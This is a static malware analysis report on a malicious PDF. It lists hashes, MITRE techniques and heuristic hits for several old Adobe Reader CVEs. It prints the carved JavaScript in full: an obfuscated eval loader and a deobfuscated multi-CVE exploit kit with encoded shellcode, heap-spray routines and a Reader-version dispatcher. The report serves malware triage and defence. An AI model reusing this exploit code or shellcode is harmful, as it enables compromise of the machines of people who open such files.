Malicious PDF — malware analysis report

Static analysis result for SHA-256 2a7f68688032f9e9…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-09
MD5: 9df9c2269b603952e0c5d1d6d10539dd SHA-1: 61876819b2667926c99fd9318a08faa92da131a5 SHA-256: 2a7f68688032f9e9d468d566cf1b117c3f31b8537dbb056e6858ebaab70ff54d
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload. The document body 'test' provides no contextual information for the attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB00E 445 bytes
SHA-256: 434f53c0806b30b2217c947736b8857e7c5b45ba63a7dffc0006c065bde5f85e
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ahsb='';
cssc=('qwrwqr','tit');
e('qdyv=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
eixle=e('String.fro'+qdyv.substr(0,9));
qav = e(qdyv.substr(9)['replace'](/u/g,','));
e('k=qav.length');
for (i = 0; i < k; i+=2) {
	waeka = qav[i+1] + ('erybjkerl',qav[i]);
	ahsb += eixle(waeka);
}
e(ahsb);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 30136b138c1fb3d618e9028f7dade7a88f421cf205119235d59c0715ba117b2c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc734%ue2aa%uc3fa%ue5e8%uffff%u2eff%uc6cb%uc7c7%u4699%u9b2b%uc7c6%u4ec7%u4a20%ud788%ua84a%uf693%u901c%u9496%u9494%u9494%u9494%u9492%uaf94%uc6c3%uc7c7%u9192%uaf94%ua9a8%uc7c7%ub2af%uabb5%u93aa%u49af%uc989%u2f2b%uc78f%uc7c7%u2f97%uc7bb%uc7c7%u1738%u0344%uafcf%u2888%uc288%u2f97%uc7ab%uc7c7%u1738%u0742%ud0b2%u93ad%u349e%uaf6d%u39b5%ud174%uda2f%uc7c7%u97c7%u962f%uc7c7%u38c7%u9417%u39ad%u4eaf%uc6a8%u2f7a%uc7cf%uc7c7%u2f97%uc7fb%uc7c7%u1738%uf6a7%ua307%u974c%u4cf7%ucb95%u954c%u4cd3%uefb5%udf7e%uc7c7%uf6c7%uf638%u6b07%ua6fb%uc5bb%ue7eb%u0806%uc6ca%u2500%u4637%u9c38%u8d7b%u4cad%ud785%ud54c%u1eb2%u834e%udbe3%u04a6%u4ca7%ue3ab%u4ce3%ufb82%u934c%ubfc2%u2dc6%u8d4c%u4cdf%ue79d%u2cc6%uf324%u4c8e%u4cf3%u29c6%u38f6%u07f6%u6b3b%u0743%uc0b3%u0806%uc6ca%u2c00%ufc33%ue3bb%ub2ef%u4c26%ue39d%u2cc6%u4ca1%u8ccb%u9d4c%uc6db%u4c2c%u4cc3%u2fc6%u834e%udbe3%u05a6%uc7cf%u282f%u3839%uaf38%ub3b3%ufdb7%ue8e8%uaba6%ubda6%ub5a6%uaeb0%ue9a9%ua9ae%ua8a1%ua3e8%ub7e9%ub7af%ua1f8%uf4fa%ue1f5%ufaa2%uc7f2';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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